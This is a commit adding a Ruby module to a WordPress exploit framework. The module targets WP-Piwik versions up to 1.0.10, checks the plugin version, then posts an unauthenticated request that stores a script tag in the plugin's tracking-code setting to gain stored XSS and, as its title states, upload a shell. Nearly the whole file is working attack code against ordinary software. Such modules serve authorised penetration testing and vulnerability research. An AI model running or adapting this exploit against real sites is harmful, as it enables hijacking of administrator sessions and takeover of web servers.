Add WP-Piwik XSS module

Author: rastating

modules/exploits/wp_piwik_stored_xss_shell_upload.rb

@@ -0,0 +1,34 @@
+class Wpxf::Exploit::WpPiwikStoredXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StoredXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP-Piwik <= 1.0.10 Unauthenticated Stored XSS Shell Upload',
+      author: [
+        'White Fir Design',               # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8613'],
+        ['URL', 'https://www.pluginvulnerabilities.com/2016/08/29/persistent-cross-site-scripting-xss-vulnerability-in-wp-piwik/']
+      ],
+      date: 'Sep 02 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-piwik', '1.0.11')
+  end
+
+  def store_script
+    execute_post_request(
+      url: full_uri,
+      body: {
+        'wp-piwik[track_mode]' => 'manually',
+        'wp-piwik[tracking_code]' => "<script>#{xss_include_script}</script>"
+      }
+    )
+  end
+end